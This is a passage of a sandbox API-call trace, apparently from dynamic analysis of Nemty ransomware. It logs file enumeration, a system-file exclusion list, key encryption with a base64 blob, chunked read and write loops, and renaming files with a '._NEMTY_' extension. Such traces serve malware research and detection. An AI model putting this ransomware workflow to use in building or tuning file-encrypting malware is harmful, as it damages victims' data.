cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-middle.png", lpUsedDefaultChar=0x0) returned 22 [0128.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0128.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0128.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-middle.png", lpUsedDefaultChar=0x0) returned 22 [0128.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0128.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0128.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-middle.png", lpUsedDefaultChar=0x0) returned 22 [0128.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0128.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-middle.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-middle.png", lpUsedDefaultChar=0x0) returned 22 [0128.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0128.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0128.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0128.213] Sleep (dwMilliseconds=0x5) [0128.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1189d0, dwHighDateTime=0x1d561e8)) [0128.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1189d0, dwHighDateTime=0x1d561e8)) [0128.214] GetLastError () returned 0x5 [0128.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.214] GetLastError () returned 0x5 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0128.215] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.215] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.215] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0128.215] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="1AtO66wEJV/7sFaLA5+EB0u3rTWT1GYKUoHZvTDfUH/los3YvtpWp3DR/6gB0sFN\r\n+VWZAl0dCrCm0dXZBJrMGolbUoY7Ne0LkCt0k3dUI9rCUsSEnG13rR73eXi41Jlj\r\nrXFZRO0E8rHuyK6gIaYcinCavCBPIsHEx1ThFIxTgnRPkZBoecfhK2w2Vtasgp37\r\ngVl/kTpwD8PMTuqpG+myZQavW6oaSVjqvTVqrhUiu9sIxDzL6dT6WQZzN8Isdll+\r\nf3P1ojfKupNiAwlwYJ+C+HmYVbooYgDGAkMSA/3Vegefi55o2ea2tCtNbaaCTAHd\r\nUf6ADKRWFF/B5LwMjzv/KQ==\r\n", pcchString=0x653e91c) returned 1 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0128.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.215] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.216] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.244] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.319] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.325] CloseHandle (hObject=0xffffffff) returned 0 [0128.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0128.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0128.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0128.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0128.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0128.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0128.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0128.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0128.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-middle.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-middle.png._nemty_kgobjgd_")) returned 0 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.326] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863be934, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863be934, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a0dbb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="combo-hover-right.png", cAlternateFileName="")) returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="..") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="...") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="windows") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="$RECYCLE.BIN") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="rsa") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="NTDETECT.COM") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="ntldr") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="MSDOS.SYS") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="IO.SYS") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="boot.ini") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="boot.ini") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="ntuser.dat") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="desktop.ini") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="CONFIG.SYS") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="RECYCLER") returned -1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="BOOTSECT.BAK") returned 1 [0128.326] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="bootmgr") returned 1 [0128.327] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="programdata") returned -1 [0128.327] lstrcmpiW (lpString1="combo-hover-right.png", lpString2="appdata") returned 1 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-right.png", lpUsedDefaultChar=0x0) returned 21 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-right.png", lpUsedDefaultChar=0x0) returned 21 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-right.png", lpUsedDefaultChar=0x0) returned 21 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, 